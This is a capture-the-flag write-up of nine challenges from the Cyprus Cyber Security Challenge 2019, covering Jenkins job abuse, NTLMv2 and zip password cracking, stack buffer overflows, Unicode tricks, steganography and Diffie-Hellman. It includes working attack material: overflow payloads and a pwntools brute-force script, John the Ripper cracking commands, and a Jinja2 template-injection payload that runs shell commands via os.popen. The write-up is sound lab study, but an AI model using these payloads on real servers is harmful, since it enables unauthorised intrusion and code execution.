Cyprus Cyber Security Challenge 2019 — WriteUps

Andreas Pogiatzis
14 min readApr 21, 2019
Photo by Irvan Smith on Unsplash

Why so serializable? (100)

Type: Java, Deserialization, Web Hacking

You are tasked with compromising the server running at http://192.168.125.200:58444/

Note: The server is firewalled and no outgoing connections are allowed

The link given leads to a Jenkins CI server.

As I am quite familiar with Jenkins, the first thing that popped into my mind was to create a new job which executes a shell script.

Thus, I created a new job called “flag” and set it to run “ls” on build. So I scheduled a build and surprisingly the flag was indeed in the home directory.

I did the same thing but with “cat flag.txt” now and the flag was printed in the console.

CYCTF{y0ur_t3a_s1r}

This could probably be an unintended solution but I am not entirely sure.

A small price to pay (150)

Type: Forensics, Networking

HELP!! A hacker changed all the administrator passwords on our systems locking us out. He is blackmailing us to give him 1.5 million euros in bitcoins in exchange for giving us the password. Luckily during our investigation, we intercepted an NTLMv2 Challenge/Response authentication exchange with one of our servers. Can you help up us find the password? We are willing to pay a fee for your services.

You can download the file from http://192.168.125.100:8080/a_small_price_to_pay.zip

Note: The flag structure is: CTFCY{}, wrap the password in the flag structure

By following the step by step tutorial here:

A hash file was extracted from the pcap file which contains all the necessary fields use John the Ripper for cracking.

The final hash was:

Administrator::Hacker:e08c9559f7cf1a1f:ff846433c0b4d1d5dba171264c288afc:010100000000000034e06f1734e3d40172cd87b95cfedfe30000000002000c004800410043004b004500520001000a00570049004e0031003000040014006800610063006b00650072002e006c006100620003002000770069006e00310030002e006800610063006b00650072002e006c0061006200050014006800610063006b00650072002e006c00610062000700080034e06f1734e3d401060004000200000008003000300000000000000001000000002000003cb7a4ac1f3b61b408b56db2bd95d630f64df0251f6324ec6924be0f0d6d7d110a0010000000000000000000000000000000000009003e0052006500730074007200690063007400650064004b007200620048006f00730074002f003100390032002e003100360038002e0031002e00310033003100000000000000000000000000

Cracking with John the Ripper:

john --format=netntlmv2 --wordlist=rockyou.txt hash.txt

After some seconds Johny comes up with the password which is “Ih8passwords” so the flag becomes:

CTFCY{Ih8passwords}

Hackerman internship challenge (150)

Type: Forensics, Networking

Hackerman recently created a new hacking challenge with the intend of finding possible candidates that will inherit his vast hacking knowledge. The task is simple, find and submit the flag!

You can find the trace at http://192.168.125.100:8080/Hackerman_internship_challenge.zip

The zip contains a pcap file from which we can open in wireshark and export HTTP objects. This can be done by clicking File->Export Objects->HTTP and then save all to a directory.

There are 2 particularly interesting exported files: 1) floppy.zip and 2) hackerman.jpeg.

An initial steganalysis on hackerman.jpg didn’t return anything and it seems that floppy.zip is protected with a password.

Therefore I gave John the Ripper a try for cracking the zip password with the rockyou.txt list and it was successful.

zip2john floppy.zip > hash.txt
john hashes.txt --wordlist=rockyou.txt

The password is: killerhackerman

Extracting the zip file contents reveals a bunch of files containing the same text. Running to find all underscores in the contents of these files:

cat * | grep _

The following output is returned:

_6r347_r35p0ns1bIl17y}
Oh great, yet ANOTHER pr0C3551n6_p0w3r_c0m35 file
CTFCY{w17h_Gr347_

Therefore the flag becomes:

CTFCY{w17h_Gr347_pr0C3551n6_p0w3r_c0m35_6r347_r35p0ns1bIl17y}

Controlled Unclassified Information (300)

Type: Code Analysis, Buffer Overflow

We have managed to intercept some information from the enemy.
It probably is controlled unclassified information so it shouldn’t be too hard to extract the secret.
Can you get it for me? Here is the source http://192.168.125.100:8080/cui.c
The production level version is running on 192.168.125.100 TCP port 4444. That’s the one we need to hack

Here is the source code of the given C program:

#include <stdio.h>
#include <unistd.h>
#define BUFFER_SIZE 256int main(){
char hidden_flag[] = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
char msg[] = "Nahhh, good bye";
char buffer[256];
printf("Do you have anything to say?\n");
read(0, buffer, BUFFER_SIZE * sizeof(int));

hidden_flag[18446744073709551615U] = hidden_flag[18446744073709551615U] && hidden_flag[18446744073709551614U] == buffer[0]/7;

printf("%s\n", msg);
}

From a first glimpse, there is an obvious buffer overflow when the read function is executed as it reads 4 times more bytes than the size of our buffer (256 * sizeof(int)).

Since the stack grows downwards, and given the order that local variables are declared, if we start overflowing the buffer, msg and hidden_flag variables will also be overwritten. Now considering that printf prints from the start of the given buffer until a null terminating byte is found, we can overflow our buffer and thus, remove the null terminating byte separating msg from hidden_flag resulting to printf printing the whole thing!

However! There is a weird indexing and assignment on the hidden_flag array before printf which prevents us from doing so. More specifically the unsigned integer 18446744073709551615U is used to index the array. But we know that array indexing uses signed integers so ultimately hidden_flag[18446744073709551615U] means hidden_flag[-1]. In the same manner hidden_flag[18446744073709551614U] means hidden_flag[-2]. So again by the way that our variables are declared these two indexes, point to the last characters of the “Nahhh, good bye” string.

As a result, a payload must be crafted that evaluates this:

hidden_flag[18446744073709551615U] = hidden_flag[18446744073709551615U] && hidden_flag[18446744073709551614U] == buffer[0]/7;

to something other than zero. Another catch here is that due to the operator precedence in C the equivalence operator will be evaluated (==) before the logical add (&&).

Okay, now that everything makes sense, the following payload should do the job:

python -c "print('\x07' + 'A'*255 + 'B'*14 + '\x01\x01',end='' )" | nc 192.168.125.100 4444

The first byte is set to 7 so that when divided by 7 returns 1, then we fill our buffer with 255 “A”s, we overwrite the string to be printed with 14 “B”s and set the last two characters to 1 so that the equivalence and logical add operations return 1 (thus overwriting the null byte).

Indeed the payload works and the flag is printed along with a bunch of Bs :D

CYCTF{53cr37_bu7_n07_r34lly_4_53cr37}

Universal Mess (200)

Type: Web Hacking

Find the password, gain access get the flag, simple as that! Head here: http://192.168.125.100:8182/

Navigating to the web server we find the following web page:

The instructions are clear, we need to find the passphrase! First I tried some inputs in the passphrase field to see how the webapp responds but there wasn’t any weird behaviour whatsoever.

Next step, I checked for common webserver directories and files like .git, /admin/, robots.txt and indeed it seemed that a robots.txt existed and it was hiding the /secret/ directory from us.

In there I could find the following images:

The former seems to be the code for evaluating the passphrase and the latter literally gives away the passphrase! But as expected, it does not work. :/

I was pretty sure that the passphrase has something to do with Unicode encoding but I couldn’t come up with something until the author of the challenge gave a huge hint:

Python: len(passphrase) => 12 
JavaScript: passphrase.length => 12
Go: len(passphrase) => 15
C: strlen(passphrase) => 15

With that in mind and the help of old friend Google I came upon these two blog posts:

https://blog.golang.org/normalization
https://blog.golang.org/strings

Putting the long story short, these posts describe how specific Unicode characters can be encoded as a combination of other Unicode characters (i.e. é can be encoded as \u0065\u0301). Also, it particularly stated in an example that the English “o” looks exactly the same as the Greek “o” (which I believe was the trickiest part of the challenge to notice).

Given these points, I tried several payloads and luckily the one below worked like charm:

{'passphrase': u"\u03bfpen_s\u0065\u0301sam\u00e9"}

And voila! The flag is spat out:

CYCTF{un1c0de_is_hArD_!}

Top Secret (400)

Type: Code Analysis, Binary Exploitation

This is the second file intercepted from the enemy communication.
Our sources report that the classification now is top secret, so stricter controls must have been applied.
Can we depend on you? This is the source http://192.168.125.100:8080/top_secret.c

The production version is running on 192.168.125.100 TCP port 4445. This is the one we need to hack into.

Here is the source of the top_secret.c file

#include <unistd.h>
#include <xmmintrin.h>
#define BUFFER_SIZE 256int main(){
char hidden_flag[] = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
char msg[] = "Nahhh, good bye";
char * volatile msg_ptr = msg;
char buffer[256];
__m128 ver = _mm_load_ps((float const*)hidden_flag);
printf("Do you have anything to say?\n");
read(0, buffer, BUFFER_SIZE * sizeof(int));
printf("%s\n", msg_ptr);
}

Things look like the Controlled Unclassified Information challenge, but it is slightly more complicated.

This time, printf prints the msg_ptr pointer which points to the msg string. In the same manner as the Controlled Unclassified Information we can overflow the buffer but we have no idea with what to overwrite msg_ptr with. Theoretically, if we put the address of the hidden_flag in there, we can print the flag.

But there is an alternative! We know by the way they are declared that msg sits right after the hidden_flag variable in the stack. So their address should be really close! Therefore, we may don’t even need to overwrite the whole pointer. By just overwriting the last byte of the pointer and with some luck we should be able to hit the flag address!

Therefore this script would do the job:

from pwn import *HOST = '192.168.125.100'
PORT = 4445
def brute_pwn():
for i in range(256):
r = remote(HOST, PORT)
r.send('A'*256+'B'*8+chr(i))
res = r.recv()
print(res)
r.close()

if __name__ =='__main__':
brute_pwn()

Between the buffer and the msg pointer there are an additional 8 bytes for a reason that I don’t really know, but I empirically figured that out by debugging with GDB.

So we fill the buffer with 256 “A”s, then the additional 8 bytes are filled with “B”s and the last byte of the msg_point is brute forced.

After running this and examining the output indeed the flag is in there sometimes in parts and sometimes even as a whole:

CYCTF{n07_50_53cr37_4f73r_4ll}

PS: I am not entirely sure what was that line for though:

__m128 ver = _mm_load_ps((float const*)hidden_flag);

Sombra (250)

Type: Stego, Reverse Engineering

stealth and debilitating attacks make Sombra a powerful infilTrator. hEr hackinG can disrupt her enemies, ensuring they’re easier to take out, while Her electromagnetic pulse provIdes the upper hanD against multiplE foes at once. sombra’s ability to translocate and CAMOUFLAGE herself makes her a hard target to pin down.

http://192.168.125.100:8080/sombra.jpg

The challenge description literally gives away the Stego part, as by just taking the capital letters, the word STEGHIDE is formed.

As a result, running steghide on the image given with an empty password a file called b00p.xml is extracted.

steghide --extract -sf sombra.jpg

Examining the b00p file contents with a text editor it seems like a GIMP file, because it contains stuff like gimp-image-grid etc. However, I tried to open it with GIMP and I couldn’t so I took a closer look in the contents and a small section really stood out.

(markup "<markup><span size=\"983\">00000000 cafe babe 0000 3400 2200 000a 000a 0714\n00000010 1500 000a 0002 0814 1600 000a 0002 0a17\n00000020 0200 1800 0008 0a19 0200 1a00 0007 071b\n00000030 1c00 0001 3c06 6e69 7469 013e 0300 2928\n00000040 0156 0400 6f43 6564 0001 4c0f 6e69 4e65\n00000050 6d75 6562 5472 6261 656c 0001 6d04 6961\n00000060 016e 1600 5b28 6a4c 7661 2f61 616c 676e\n00000070 532f 7274 6e69 3b67 5629 0001 530d 6174\n00000080 6b63 614d 5470 6261 656c 0001 530a 756f\n00000090 6372 4665 6c69 0165 1000 614d 7473 7265\n000000a0 6c43 7361 2e73 616a 6176 000c 000b 010c\n000000b0 1700 616a 6176 6c2f 6e61 2f67 7453 6972\n000000c0 676e 7542 6c69 6564 0172 0900 5943 5443\n000000d0 7b46 4d45 0c50 1d00 1e00 000c 001d 011f\n000000e0 0a00 4341 4954 4156 4554 7d44 000c 0020\n000000f0 0121 0b00 614d 7473 7265 6c43 7361 0173\n00000100 1000 616a 6176 6c2f 6e61 2f67 624f 656a\n00000110 7463 0001 6106 7070 6e65 0164 2d00 4c28\n00000120 616a 6176 6c2f 6e61 2f67 7453 6972 676e\n00000130 293b 6a4c 7661 2f61 616c 676e 532f 7274\n00000140 6e69 4267 6975 646c 7265 013b 1c00 4928\n00000150 4c29 616a 6176 6c2f 6e61 2f67 7453 6972\n00000160 676e 7542 6c69 6564 3b72 0001 7408 536f\n00000170 7274 6e69 0167 1400 2928 6a4c 7661 2f61\n00000180 616c 676e 532f 7274 6e69 3b67 2100 0900\n00000190 0a00 0000 0000 0200 0100 0b00 0c00 0100\n000001a0 0d00 0000 1d00 0100 0100 0000 0500 b72a\n000001b0 0100 00b1 0000 0001 000e 0000 0006 0001\n000001c0 0000 0001 0009 000f 0010 0001 000d 0000\n000001d0 006f 0003 0003 0000 0333 033c 1c3d 7a11\n000001e0 a269 0d00 1c1b 3c60 0284 a701 f2ff 00bb\n000001f0 5902 00b7 1203 b604 0500 051b 066c b668\n00000200 0600 0712 00b6 b605 0800 b14d 0000 0200\n00000210 0e00 0000 1a00 0600 0000 0300 0200 0400\n00000220 0b00 0500 0f00 0400 1500 0700 3200 0800\n00000230 1100 0000 0a00 0200 00fd 0104 fa01 1000\n00000240 0100 1200 0000 0200 1300               </span></markup>")

With some more formatiing it looks like that:

00000000 cafe babe 0000 3400 2200 000a 000a 0714
00000010 1500 000a 0002 0814 1600 000a 0002 0a17
00000020 0200 1800 0008 0a19 0200 1a00 0007 071b
00000030 1c00 0001 3c06 6e69 7469 013e 0300 2928
00000040 0156 0400 6f43 6564 0001 4c0f 6e69 4e65
00000050 6d75 6562 5472 6261 656c 0001 6d04 6961
00000060 016e 1600 5b28 6a4c 7661 2f61 616c 676e
00000070 532f 7274 6e69 3b67 5629 0001 530d 6174
00000080 6b63 614d 5470 6261 656c 0001 530a 756f
00000090 6372 4665 6c69 0165 1000 614d 7473 7265
000000a0 6c43 7361 2e73 616a 6176 000c 000b 010c
000000b0 1700 616a 6176 6c2f 6e61 2f67 7453 6972
000000c0 676e 7542 6c69 6564 0172 0900 5943 5443
000000d0 7b46 4d45 0c50 1d00 1e00 000c 001d 011f
000000e0 0a00 4341 4954 4156 4554 7d44 000c 0020
000000f0 0121 0b00 614d 7473 7265 6c43 7361 0173
00000100 1000 616a 6176 6c2f 6e61 2f67 624f 656a
00000110 7463 0001 6106 7070 6e65 0164 2d00 4c28
00000120 616a 6176 6c2f 6e61 2f67 7453 6972 676e
00000130 293b 6a4c 7661 2f61 616c 676e 532f 7274
00000140 6e69 4267 6975 646c 7265 013b 1c00 4928
00000150 4c29 616a 6176 6c2f 6e61 2f67 7453 6972
00000160 676e 7542 6c69 6564 3b72 0001 7408 536f
00000170 7274 6e69 0167 1400 2928 6a4c 7661 2f61
00000180 616c 676e 532f 7274 6e69 3b67 2100 0900
00000190 0a00 0000 0000 0200 0100 0b00 0c00 0100
000001a0 0d00 0000 1d00 0100 0100 0000 0500 b72a
000001b0 0100 00b1 0000 0001 000e 0000 0006 0001
000001c0 0000 0001 0009 000f 0010 0001 000d 0000
000001d0 006f 0003 0003 0000 0333 033c 1c3d 7a11
000001e0 a269 0d00 1c1b 3c60 0284 a701 f2ff 00bb
000001f0 5902 00b7 1203 b604 0500 051b 066c b668
00000200 0600 0712 00b6 b605 0800 b14d 0000 0200
00000210 0e00 0000 1a00 0600 0000 0300 0200 0400
00000220 0b00 0500 0f00 0400 1500 0700 3200 0800
00000230 1100 0000 0a00 0200 00fd 0104 fa01 1000
00000240 0100 1200 0000 0200 1300

This certainly resembles a hex view of a file. In fact, the top bytes “0xcafebabe” are the magic bytes for a java class file. Therefore, I removed the memory offset values from the left side, removed spaces and pasted that into a hex editor.

Looking at the text view in the hex editor, it was obvious that there are parts of a java class in there, along with some parts of the flag but the letters are kind of messed up! This is always an indication that the endianess is wrong.

With the help of a quick python script I fixed the endianess of the file:

file = """cafebabe000034002200000a000a07141500000a000208141600000a00020a170200180000080a1902001a000007071b1c0000013c066e697469013e03002928015604006f43656400014c0f6e694e656d75656254726261656c00016d046961016e16005b286a4c76612f61616c676e532f72746e693b6756290001530d61746b63614d54706261656c0001530a756f637246656c6901651000614d747372656c4373612e73616a6176000c000b010c1700616a61766c2f6e612f6774536972676e75426c69656401720900594354437b464d450c501d001e00000c001d011f0a0043414954415645547d44000c002001210b00614d747372656c43736101731000616a61766c2f6e612f67624f656a74630001610670706e6501642d004c28616a61766c2f6e612f6774536972676e293b6a4c76612f61616c676e532f72746e6942676975646c7265013b1c0049284c29616a61766c2f6e612f6774536972676e75426c6965643b7200017408536f72746e690167140029286a4c76612f61616c676e532f72746e693b67210009000a0000000000020001000b000c0001000d0000001d000100010000000500b72a010000b100000001000e000000060001000000010009000f00100001000d0000006f0003000300000333033c1c3d7a11a2690d001c1b3c600284a701f2ff00bb590200b71203b6040500051b066cb6680600071200b6b6050800b14d000002000e0000001a00060000000300020004000b0005000f0004001500070032000800110000000a00020000fd0104fa01100001001200000002001300"""def chunks(l, n):
"""Yield successive n-sized chunks from l."""
for i in range(0, len(l), n):
yield l[i:i + n]
# Ignore 0xcafebabe
code = file[8:]
fixed_file = []
for chunk in chunks(code, 4):
fixed_file.append(chunk[2:]+chunk[:2])
print(file[:8] + ''.join(fixed_file))

Repeating the same process as before, the fixed file was pasted into the hex editor, dumped as a class file and decompiled using jadx:

package defpackage;/* renamed from: MasterClass */
public class MasterClass {
public static void main(String[] strArr) {
int i = 0;
int i2 = 0;
while (true) {
int i3 = i;
if (i2 < 31337) {
i = i3 + i2;
i2++;
} else {
"CYCTF{EMP" + ((i3 / 2) * 3) + "ACTIVATED}";
return;
}
}
}
}

Apparently, the flag is calculated using the above code so, with some minor modifications, I executed and got the flag:

CYCTF{EMP736482174ACTIVATED}

Ninja2 (250)

Type: Web Hacking

You have been hired to investigate a web application found in dark web which belongs to an organization which conducts illegal activity. Do not underestimate them, they are cyber ninjas and they are planning to carry out deadly cyber attacks! We must stop them! Find the flag! Head over to http://192.168.125.101:9999/ (webserver)

Navigating to the webserver we are greeted with the home page below:

From the title of the challenge I immediately though that this is probably Jinja2 SSTI so I tested some payloads in the register page.

Indeed if we add {{1+1}}@gmail.com to the email field, when logging in is evaluated as 2@gmail.com:

With the injection, we can fetch almost any internal object but our goal is to get access to the “os” module so that we can run shell commands. Since most of the times simply importing and executing system or popen does not work we have to do it through python’s reflection.

A good objective in SSTI is to reach to the warnings.catch_warnings class as it has access to the os module.

After some more digging, I managed to find this class on the 166th index of the subclasses list of the superclass of a dictionary:

{}.__class__.__base__.__subclasses__()[166]

With some more trial and error attempts, I managed to run a shell command and get output using the popen function. That was my final payload to read the flag:

{{{}.__class__.__base__.__subclasses__()[166]()._module.__builtins__['__import__']('os').popen("cat flag.txt").read()}}@gmail.com

Note that to register with that email you have to manually craft the request through Burp or postman to avoid the client side validation checks on the email field.

Finally navigating back to the login here is the flag:

CYCTF{You_ar3_thE_b3S7_Cyb3r_Jinja_1n_Th3_w0rld}

Ellis-Cocks-Williamson (200)

Type: Crypto, Scripting

We need to send you the flag but this line isn’t secure so let’s negotiate a shared secret key using the Ellis-Cocks-Williamson algorithm. Service listening at 192.168.125.101 (webserver) at TCP Port 1337, netcat to it, see what it needs to give you the flag

Connecting and playing a little bit with the server the following information is given to us:

===================
Begin Secure Comms
===================
[+] Transmitting params
p: 9967431302881382819432753065003548429230424043981438328227554957525034034742833084377306307166831230220368573541461813542992812411883237551254838855457881, g: 2
[+] Transmitting my public key
Public: 260740604970814219042361048116400404614587954389239840081425977517360806369707098391474864128
[+] You have 5 seconds to send me yours...
1
[+] Transmitting secret message
Encryption Algorithm: [RC4(key=SHA256(session_key), msg)]
Message: MhPKQkNo7bNvuWEmsJ0zFuoun8gl8yqiON3RDi41uhn8u8EvN6XwvvfUMCaB1Tecka6zCfYZX/sw
SvRZ19ds+dIEPHc=
[+] You have 7 secs to send back the decrypted message...
asd
Wrong message
reply: asd
plaintext: IhopeYoulearnedSomethingFromThis!!!!e0e3fcdfb0803ca538910c12042cb623

Great this seems straightforward! It seems like a Diffie-Hellman key exchange and this is also confirmed by the title as Ellis-Cocks-Williamson are the guys who reportedly invented DH at GCHQ before Diffie and Hellman did.

Therefore, we have to calculate the session_key (which is the shared key given by DH and then use that as a key to decrypt the message with RC4).

Summing up the parameters we have:

p (the modulo)
g (the generator)
P_b ( Public key that we receive )
P_a ( Our public key )
ss (shared secret)

In a nutshell, we have to come up with a number lets say “secret_num” and calculate our public parameters by:

P_a = g^secret_num mod p

Send that, and then calculate the shared key by:

ss = P_b^secret_num mod p

From there, we can easily get the SHA256 with python and decrypt the message.

Here is the complete script for calculating the params, decryption and getting the flag:

And here is the flag:

CYCTF{cryPto_1sn0t_aLWAy5_tH4t_hAr|)}

--

--

Andreas Pogiatzis

☰ PhD Candidate @ UoG ● Combining Cyber Security with Data Science ● Writing to Understand